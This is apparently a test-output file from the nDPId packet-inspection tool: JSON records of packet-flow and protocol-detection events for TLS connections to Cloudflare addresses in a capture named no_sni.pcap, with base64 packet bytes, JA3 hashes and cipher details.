+00408{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":369036,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm1AbvwpFryQ4gHblAQEADK9gAA"} +00425{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":370587,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADQG0+RoFkiqwKgBdwG7ybbraGnySz6LGIAS\/\/8FNwAAAgQFeAEBBAIBAwMK"} +00408{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":370657,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm2AbtLPosY62hp81AQEAA10AAA"} +00426{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":827,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":373226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kEBMxuRBeCABFAAA0AABAADQG0+RoFkiqwKgBdwG7ybcBQwC0AC9h6oAS\/\/\/M1wAAAgQFeAEBBAIBAwMK"} +00408{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":828,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":373287,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGx\/DAqAF3aBZIqsm3AbsAL2HqAUMAtVAQEAD9cAAA"} +01378{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":829,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":374307,"pkt_caplen":766,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":766,"pkt_l4_len":732,"pkt":"EBMxuRBeeDHBvV4kCABFAALwAABAAEAGxSjAqAF3aBZIqsm1AbvwpFryQ4gHblAYEAByzwAAFgMBAsMBAAK\/AwOo7n9Ps15wBazvRSwP0XknzspI1stxfxt\/UzR\/iTVJEyAC8G++cc8\/RPDfJFBfMKnQnmiwhlHCQVzbLmLhap\/o+wAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQACUgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAgTLq0AqwNou6MGsB1+SYEgJSmTUTOD\/TxJYrSVvP1oDoAFwBBBKeqi+5mZF4FqrZM+Nc98bOF1LLJjzR7iMhqwT8EHpJcTJIoY3Ocwhydzi6GkM5amaGkSUUhnwcxZgCBpYGYspkAKwAFBAMEAwMADQAYABYEAwUDBgMIBAgFCAYEAQUBBgECAwIBAC0AAgEB\/84BbhMBAB0AIFOmheJL4xy5gpY\/yJcKeKS\/9XQSn93DrBI1rxRCLVANACDaMBYEhaJFdPvKA8z4jgTRVaj7hLApJOUFPiWRVXl6mwEkut4Z8rAnlJ\/BQOlO633VmiJBVo0HHpTYKwow\/UrgM4eV1qOMwieMsrNSqM1l6bwtgDOlVaEPC0GRn4aCQtU1XP2X4FcQcEBgB0TQYfr+VqTH9px\/hRvQKbytE9L34VP2TUenG1F8iF0heywb5ZSJNRlrHCwIxo1Q1cFXgSmt+bxqFdr2xk3KCZcGELX4JsHF1xtxipkI9hU2eSqna\/RV\/6OZjs+0xDobkL7dH+C4x8IS+6ZbU9dcdpF1KnVLSsBAwCn4gdmjyqOcJkFmyD9MzJR7Kox31au\/1ccnVPYgJWTBHIf96KJnmFelvEa3Tqt25pUSu5EXfJqkJM4E5MPphlNhuXtutSQatEVfktgwClJtegRW83L4awezF4ogcf6f2s73jwAcAAJAAQ=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":829,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1604822447287,"flow_last_seen":1604822447374,"flow_tot_l4_data_len":828,"flow_min_l4_data_len":20,"flow_max_l4_data_len":732,"flow_avg_l4_data_len":207,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51637,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"16fcce72c01e54fab4ddabce048c0f5b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01377{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":840,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":380742,"pkt_caplen":766,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":766,"pkt_l4_len":732,"pkt":"EBMxuRBeeDHBvV4kCABFAALwAABAAEAGxSjAqAF3aBZIqsm3AbsAL2HqAUMAtVAYEAAkOwAAFgMBAsMBAAK\/AwNVI7InNdA1ot5OdKof1kA6BpGq39LpfrSaqLEJ4t4pyCCv0oSr4LDlh2WzJ9HwxgZARteBYDIbmU3nj0BJKwky+gAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQACUgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAg7QAbQ7koWJMYoOecI197XFg+d23v8PjWib7icO3n\/FwAFwBBBA8OlHTHMCeAOzQUay5DCVe2ET8f6buSW4LVGxdHe8jrqvhXpCb+NoAKMsX\/aFrJFFo51N2cc4w\/Fh30MOpOulUAKwAFBAMEAwMADQAYABYEAwUDBgMIBAgFCAYEAQUBBgECAwIBAC0AAgEB\/84BbhMBAB0AIEjhe5bsavzQ67r6YZd7oG78oUtyH0sMqVomsLYebm5wACDaMBYEhaJFdPvKA8z4jgTRVaj7hLApJOUFPiWRVXl6mwEkGl0dzIxH3UbiFXD\/ti+ZnNhfaZg98I\/A6UThXpUgVWxUYvURDuH8NPk4Yq3Wst5v1HkmMCj4IVcnOzpyhEPOCiWeUPZXAZ4C3Zu0CMcpfFQbdWpVdpuIwE+\/Jo9nfuvAdM6x2QV3DWfmZjs5LPCegAhmYb1Z9kADX+9l3va5NlStNZ2VFMQja7+fVl0pkiRHXepdGBP3rxz5pEAqsK2x3S0wdezniiFt5uiKguifcr2z7DsmYE1kM\/9e9xwV\/H4+Yk7MFcFkSsTPg5EZY2llGE2vj8EVxsCSYDBvziAk02Bjbvs5qsudzlQiboR7Y1bxovyogiImbMIdV17\/v5\/g9VPZmxrlZKp6AB2jx3X\/4Z3P+WoYFKr4VUuHGSa2WCRn\/aBSJAAcAAJAAQ=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":840,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1604822447287,"flow_last_seen":1604822447380,"flow_tot_l4_data_len":828,"flow_min_l4_data_len":20,"flow_max_l4_data_len":732,"flow_avg_l4_data_len":207,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51639,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"16fcce72c01e54fab4ddabce048c0f5b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01375{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":841,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":386869,"pkt_caplen":766,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":766,"pkt_l4_len":732,"pkt":"EBMxuRBeeDHBvV4kCABFAALwAABAAEAGxSjAqAF3aBZIqsm2AbtLPosY62hp81AYEADBvgAAFgMBAsMBAAK\/AwNRUOqW8fcFAIVJ2wDVWV7C3Kd3FLHiQcf08yw4FN3iXSCr++V7bGNoaO02ERHmP51fO+JZbR4AQQj87xtTZ0QmgwAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAnACdAC8ANQAKAQACUgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAg1\/nF9GBjzoBJP3vChsI3TG08\/GK1TsqGFkFsvA4YsTYAFwBBBM6shgU+jIrVFTkZ9XOduv8uISc+1jmvtR4\/i\/iVQ5mkzXP3UH4e2gztWXshEhxsgD9Q5DnmNDoCVwQBrWyhBo4AKwAFBAMEAwMADQAYABYEAwUDBgMIBAgFCAYEAQUBBgECAwIBAC0AAgEB\/84BbhMBAB0AIIL8GVgWuqJ31PIAS9EwGQtG8rU0tCk\/N7q9r130NnNwACDaMBYEhaJFdPvKA8z4jgTRVaj7hLApJOUFPiWRVXl6mwEkS8IkWC2D2bmZ1aalyMpfcETszLdbZEvlB692JDGmKS2g777tYyoryGh1b\/cgxb2Dw0XmCzUpt799pNsl5lfgsSb\/zWK7FUTYSo2B\/3jOPhS7A9xCnyXTSYLUKwD33PzWwKbZHq+itqMzgYfes2eqKe1zHFL9BWGSPB\/yCuItpWVRqR\/vBTR8RtAcUd7v1jo1gB8dmhG7Jx6xY5Eufjxl6HfZY3+g7L+DeH+NKvI3qqQ+O8gr2YFAyaInp+4djrXbPsVdnGNailJditx+fCJhojUSCluxDsiDydGVbRxMt9OyK2BuCFCC7gNcCbFUB04DHqlhZREnseT0GjaFHQJqQMbN02cS6Eo6rN7cQDGYg6nBwThwqMwQ555qhDUtBoETTMl5QQAcAAJAAQ=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":841,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1604822447287,"flow_last_seen":1604822447386,"flow_tot_l4_data_len":828,"flow_min_l4_data_len":20,"flow_max_l4_data_len":732,"flow_avg_l4_data_len":207,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.22.72.170","src_port":51638,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"16fcce72c01e54fab4ddabce048c0f5b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00415{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":842,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":410183,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo1yZAADcGfFNoEcYlwKgBdwG7ybNKGfarY21GVFAQAEIJRwAAAAAAAAAA"} +02395{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":843,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":412088,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kEBMxuRBeCABFAAXc1ydAADcGdp5oEcYlwKgBdwG7ybNKGfarY21GVFAQAEIg5QAAFgMDAHoCAAB2AwMcavd69epyTMjnT6sQ2ZO5Z55GN\/7ybaCLUCO025nwrSDoXf8Mnld+CWLGSYqiJkQGZZHCItfbHLw5GpALvsX0fxMBAAAuADMAJAAdACCqN+wxChHZ1AJ7q8L2BAyopj8kVlNq2EFLrbeuXbdKMwArAAIDBBQDAwABARcDAwnjgsvgNH4JSFuu+G0POXfez4alu3oxPYMgzuLzcho0KMzqDAG14PubVn+Ci2br8U5ojvu\/qWDP6S79bF1PNBt\/PNA6UF8Jyc49FFyQ8AAu+mQPpjW2MOfFuxsEeDJ9txB7MQTCNgKLGyVU7HIBWGfx8xHNFdqwDL4QPN9HjFy2pj8ePvInv0q1Z2DxQrOQRMXb4wCaZHKv3FMFd6Zq0DGgvoqNbkAS8sqEa1xrgmD6jGwCKxYcj2ZYCaMRQoMMu\/w8LaCLw5bkcdEipUEPPaEvpPrWEJc2nyN1MstzOMU40rWVtMVUnii\/G0xJ00Nvz+E57yqo\/b9ZqMbQw\/beVo1bRgYYwrGmhmG8TU4uCPnnyQb2RUrI+DQVVA\/Q3hUM+\/I+MQae94+4QA0NFVbJ3ic9DzSD5iIrp+Rl5JsUQoR4RAM1X6lh3\/2BE4BSIkYFWTc\/+LT0\/e04TL4j\/WNDB1TOl2zf1xfvMLPzsnvlSD3+ifBcGEeXrMY9l3lXKnbhZ1wbSyVnvYNJ2shf0SHXV7AMhv6ch4ipE6saqFjja4gqvA+ineIOcitGazZK\/wtitnpzQ6eK1OxVESnIkBK+mK\/Nn0JzPIwaePlpKojrx\/DZAMx\/x1PL2mmd8H0ZLONdGzJYP4f\/Q6l608+2h75Os2JQDN2jbqxVaSKB6oQ8cXdFXTVFbwLo1Adz55CzcsVjZ6k0eMrr3DUm0ZPUku2v+cwVlNNoeGhSf3K3Y2IM7Lx80CL4TQ9DNwHsQMk6AK5n2k+fe0XJYRFk3Y+llZzZBZs7wlkvwvvSccaw9SGozAtAfTU0\/TbjjRTamV2NF+5CI0wTLH+QjQ5IlqM1lMO6qBMKh3tLrEN4+EzCYZ3TdI\/BQCNlz0khvUaNzysg3FveoCkZHRXOmlqMcYfrBA1baCMBleGltBIAw42D6wYRH06S2IWemPRAk3Za+8c5Sn9AmdVTLJ+ZEBBxVzdPeExbPwTpWbokj3H1Yjg3qFdYWu5NckxhLkkCypKLt1x67QcdRctvOHusbzR\/Z3f9aRh4h1ufRPzp\/KOBAkP3S3+3MTdHf9CKk+xpAmogxtqt5FnhkR9fJY3XG7lvzNxewARWbYnAOmEHCuglFoStcdXaiMilTeEDHBeozmJ58LHCMIL843gFTTBVvyByLQWvkVpH6mmltxUpcTolHH+EiHJ\/2QFL\/QWtM69E4bxi+tUk1jIa7KbyRvo1\/6tDjM1\/cRrzwxEXfEL9LGvE+qivXDcIWFZw75t6EBk4sgxqcqCrF1h6eXQpoyfIYDVSAsna4DrTt3amocmSsO1NyrAVJQPpjkqRLPIkyV9DS0\/9YjYlky9PvgztcaZAG+1KEsUc9uN76gmbrtoeqOebjl721PT3m3IIIMxPl0yDq75\/a2n\/evsznSfVqYj4RsBIvvqUPfs4wKs+VdIFBbdcXiRHdxYNnlBL8nkg1wur02r+Rcu3P40D84KYFkxYYtU8kBb36eueKV9rMmlZYpq4Gklo0qqp9zP6dXcEps0s5w\/OWnn49CqGI4qOj4swMIYMZ2j9sDDuA+z07o7TddcCtEm64zI3ryy8W4FKIbYtmtrxE9aiXs1jqtZQJb+mq4lxQ0GQXxEhROQAfvKo9HPV7iANrsJKkMCg4xexRgM\/pa93OyXJSHyei8fphJVAkcOy6ORtTa8Iz0f46PxHefPob\/uX4CPmio5sY0NagJyKVuK7Fq3ei\/7vp4+RnfoaC+dH8ggPd48pu8YApsOhS7CyvZ\/6Al0="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":843,"source":"no_sni.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1604822447227,"flow_last_seen":1604822447412,"flow_tot_l4_data_len":2133,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":355,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.119","dst_ip":"104.17.198.37","src_port":51635,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"951c558a-5e07-47ca-a0c0-225da1b33163.is-cf.help.every1dns.net","ja3":"1fd36067223570569bbf156fece40978","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02047{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":413124,"pkt_caplen":1263,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1263,"pkt_l4_len":1229,"pkt":"eDHBvV4kEBMxuRBeCABFAATh1yhAADcGd5hoEcYlwKgBdwG7ybNKGfxfY21GVFAYAEKBnwAAk0GbczxAuFwCGHEF2m8LAFd6H1QUpVF5KE5756z6T\/vc\/0GTNplZsPqln5lIPGTdMJDg2VwgAX+f4q0VVW5ccYJV5LKvRwknJyLwFE\/QX5TmQnLgS4Ho5Mo+aalS6\/OVlPMaoSZRJxbNXGfd5Mio+23YRlgFOnj8QmEjRKpGbm+pXZDhNbL5fBxLuWHecpW9QONhfI3xkA8SK6MSAyCF6TXF2vXSJ0438WYDRoxXpTsngXQpToFGSGU49srD95NyEB7Y5FYp7ibrijkKw6IlARWWt5baFyAwleR3Qtn5mSFgXizLRK4X58rDEOChAEN\/mdiuGU2uTGVc4TTrNyIeQ0W4rK5N1fc9R9vr4RZDh00pox2q5cVIHMlgz2fHTrr8ri10HnJyZ7UzoSCpZuDtbtpT6jwpA7SqORKTFZzSW7tOlTXIhWPSsHxil2ADoyb1Vmr8BPVb2OGfh9SS\/coYGo9AXRqhoZny1wA26Ai48Nnbe+SWxBPb8xGeDhQFK4VP+HCXstOXCu1VV8hq4dSiYP+PDCpTF+7ztrDOpVlMEmvW2jyopysizCtwZxTl38mBz1URUot4\/ZJWMziTwvkA+a0qcr4M8s02l1Hoipp7Q1FXz3pWFBaMd+acx75ihE8RwdYuFj+wn0wEJeRigRrG7oGBu2jZKGK5XU+lGSQE3sMzlPeNGJU\/DL7cnahjNDbR\/XgLMBSa+dNCSSOVgBx1\/G8KS7cF2o9G7I8XF1VAsRMaEMW9lsd9IlL8TyANEDZSh3PO9GwVvlMd+PBVUgShPcYEXFIA\/5cgzLaoVaM1yeo06psVqGyKopJaaXMTIQro0Hqb72I01whXEzfc0rmckE390R5tSD5fz6d8wkVFIuUGnuRPBSuTYfhwirjRyFfW4BTseaHZQz63YG0Z3N8w\/jHOA\/8Y8+rJW6ES8B+iJWG+fpFsIs1EwQ\/i6uFf6d0+FqlXW63skMKrUh12JQYyqmEJC+PvQ11SlxBjBTdYxTvCL9GUzN1sIvePX7ZD5wH7mDWkMFcTpRKzPQIRLJCYsZGIuBveGLl7YSAzmGaMxeLY41XgdI5R\/wPlvfnuzQ1Aip9WfM5GWrUOAj2ki1\/QKVUPJH4rJvpMZkkmNe2A6gPqU8kLHZlwCGCkUG8xrXFtr58T45BJEj2EZb\/3lC1zcDeyCs6lwFuCERKcIuDxo6iKf1YvfhaoqmjOzfkFhoeR8s+xXZVYsZ4dZ85WZfIk4uCJDOOOFeHKW7mS4PTafW2qyof6jBzg7uErPGSALJciqvap030PvRqypDTETb65DVFQmGc8Xi6u1cgOZKzcNkBov2no0MuwkXNzrkIUVwy3NDOXmXX\/k1sM6Ej6jdFFgTJRU8vOIxsKIfpsddCQs0IS3OLbNy\/p2FP3eOemIPBXICPNHV4z8ap5ZaQKe5Z8GW\/M6J2MxDd\/8Q0feRF+hV5NcFNx1hZG\/Vn4mnNfG66EPxDGllBvoQY4e4DtaKZ3Y4Nxvv37SkWGldifwFXquaxr0nFPJ+1VLci1lV7TVr77eHqLWxjn+tyDEolHHrJg9zvy3bm4GlKCdLsVzvpyqVzaSCN4Fg4B8wbvIFne1McnxUCEJK1jLhw0"} +00407{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":413200,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMxuRBeeDHBvV4kCABFAAAoAABAAEAGSnrAqAF3aBHGJcmzAbtjbUZUShoBGFAQD9jvQwAA"} +00498{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":419237,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"EBMxuRBeeDHBvV4kCABFAABoAABAAEAGSjrAqAF3aBHGJcmzAbtjbUZUShoBGFAYEABl3AAAFAMDAAEBFwMDADUZqwsLW1MkWOtGmKUtw8ZXCceoyCV0DTl4iQE73N2jzB8KcE69+NyCK\/3rgG9EB0B1hfuvyw=="} +00642{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":419891,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"EBMxuRBeeDHBvV4kCABFAADSAABAAEAGSdDAqAF3aBHGJcmzAbtjbUaUShoBGFAYEADLSwAAFwMDAKUYyGk0zcfPiUzkI09Rstvy204oDYTqLT\/0hS9EL1gRuUwZL2uYc3oQEM\/bH8L9P9Yt5PcO\/JtsU6o8KkHsvNl2hWhL0nTr4fZLkMCqNClumKtPvnWOcpce02j77IduStu6pJz3Qwjw2dEjhHiusQdfUdjmZUsjxtrM2XLh14qCSKJsiKY6zwFdsFL5hUhr2MZQ6W5gNAymy71PZbh3v5LiNT4kIYc="} +00865{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":419947,"pkt_caplen":385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":385,"pkt_l4_len":351,"pkt":"EBMxuRBeeDHBvV4kCABFAAFzAABAAEAGSS\/AqAF3aBHGJcmzAbtjbUc+ShoBGFAYEABewwAAFwMDAUapqISxyd1BytUtruRAjlvHAWEzunghyACYcGXutUMynx51\/LnfQy5cFNJI5xItTfkbGIJlelhOZsCTGZ1ecP67b1I5kexz\/3JgHs\/IMi7b+DDtfXNa6GS1CMIJtpf9OFCdneIK\/UOricuj+KTpPyWvNEJEJymaujLFM62NilxmeicRY1RtDMMUcVzHi\/I+6SX4WfDA0TcQIHGG12nOz3mHvYDumXT3Dp5IFtilkR0CLLYYfsLVVEMzAQD5sezmQ3wvbjcvuN2yS0ZHW54wb1BOopTL+x1hPGO2phGIGnwQ4e0Vnyi0i51lZjHdBdN5GUpGmNd+\/2jC6eZ58u0mznNA+WFzCA+RPn+m2AH58rktqRcOGZOHJkjW8Yzl\/cvlkD49VM8Nq2LaXJHOJzE\/vTtuEkqilIzbJYao8HG2\/YjRRGtT5fZEhg=="} +00415{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":437859,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eDHBvV4kEBMxuRBeCABFAAAo2NFAADcGeqhoEcYlwKgBdwG7ybQgqbhtGMRKC1AQAEK35gAAAAAAAAAA"} +02385{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"no_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1604822447,"pkt_ts_usec":447323,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kEBMxuRBeCABFAAXc2NJAADcGdPNoEcYlwKgBdwG7ybQgqbhtGMRKC1AQAEI5TwAAFgMDAHoCAAB2AwN+twpEuBVBrLJlbS7VN0KVhH8xDmdMoENCh8FDMf9VfSBtnXms51StvlcYPwUtQJ3a2Aae1RGCTFOxqXrJXOFBFBMBAAAuADMAJAAdACDq6FTxJNpkez\/Ya9YUkqOVbU6SuHI9Pnugtii\/AsPfVAArAAIDBBQDAwABARcDAwni9b2Q+awCZLhpvq6rx0GBoqGR3hcbfiwVCVXoR7vOc7EQih2E7Gn+P0+y03zVWWWtTzs+EleCa0kqAAjlVKwVDXSMGxRFY1DiifKwL6cwqd+r8BEyw6J40QdGFir5oY0\/2+Z92HybGi7SYNCcLYT9QXUZ48wvM0HPB8VGZqqAYJGS+Ayeo3Gnn+BkkJ85G+otxzotOaKKLxfpKuAyR72prCBaP4e6vs3GO2wcv0HUFluExF3vkikUaYk0BLKIYKe0HwJe9AJQBqmjIhg0IX0M9hh9+27MNkwRinQUkFOstQyGtAmL5UAyINuGWFWdYpijxLXm4xlFD6kNWpZOT8qWmyP07VuP\/B4sSdhaMr3\/cMTTa4++fUfBMwgixReIgF7twT1aX9bPOh6oQiMTMafhG2MDDsavT2ybMYOrQI4maBQ5GJPSaNutg7o7zdYMVgp5WpS14Yk\/jlQjf6hVcnfT5ndI8HUoKm+7o9lZi0CSoqQ6pBphGuzYlkT0+BJgDItbccwYMIpIAh24FEvCEibPdqCERy2hyHXCOEVhFyzx6RI+uUCcruc7d5lgI4GEsfE8cXkW8ELlzIqcbtChRimY+R\/Xt37L9cjdu7CW0KXqtOgBsFfzLWBW\/N3qJEsbp3V\/WeTvxV9fV0KDpFZsDR8PUAztfYyxMP9cno8iDwO2kFMOYcyDjn7igj1l120sD8tIRna946zzGjnRb7v9qxDUhpk+6y2AQRl\/a4WLo6iu1ZaKwxsa\/A6rMebceQRn9quTtEwRvxU+UN1zm71n4oaqoUhfNNp3Kt4dhupCaarybs8m\/sNWTQppIvxpJptWAawUrGPqCttzsEpDF0clBMy\/RZmAJQXX3LPt2pkIso3ZLic4dgzJol269WK58oWKNBXqIvVBqVZD1U6gd6ObTUD3GnZQLVrj85gloQ975ywMo8DXWuzoIaj+SzYB+SVrYps7IpHEV1sb3kO48CpSrHrWZ1eEA8SOkmNDO9if23bqY\/xsO5l2nd1AWTCjzv7n\/1gCjCfwkGNosweBvOrsE626qDGGdy527VxJ5+6TJUwg2xbDCpFUG0T0t+7PlI7BZQmuq5U+gia5McTvv36kvi5FVPVQnQ0+UaxM1BJME9QcpRMogGVXZSKsnVu657nBtqhSsSbqVWWLuIA80c+D+ijvxFW2v6MgFU6SVWyfm2SefK0waSZ6\/WHderdsxFzlSxKpqnNNxHdA9I9WXsAfpACp+EAxlDq86N+iWS05ntTWZGLMApucPBXosrfWy7S+FURs0hCvH8iahssuTq0cI8b1S\/5FulOzpBKcgdzsIgNaV77OKrnAPLIoRKphF+JGKEHBzWNGeb+VZGbmzysGcZyFjcg+Ha99lJ3j0qApEkzjH2wTjVuHeqPJC3Va3PrT8XmRQaGK8kfPEk7CbAFWQevHVi1wAq2Ob2F9fGca5UiMqPg5nTg997CmWuQ6zm443iwiTDXV+s+h\/vZa1iMrhsyOBFFpCZ\/qxST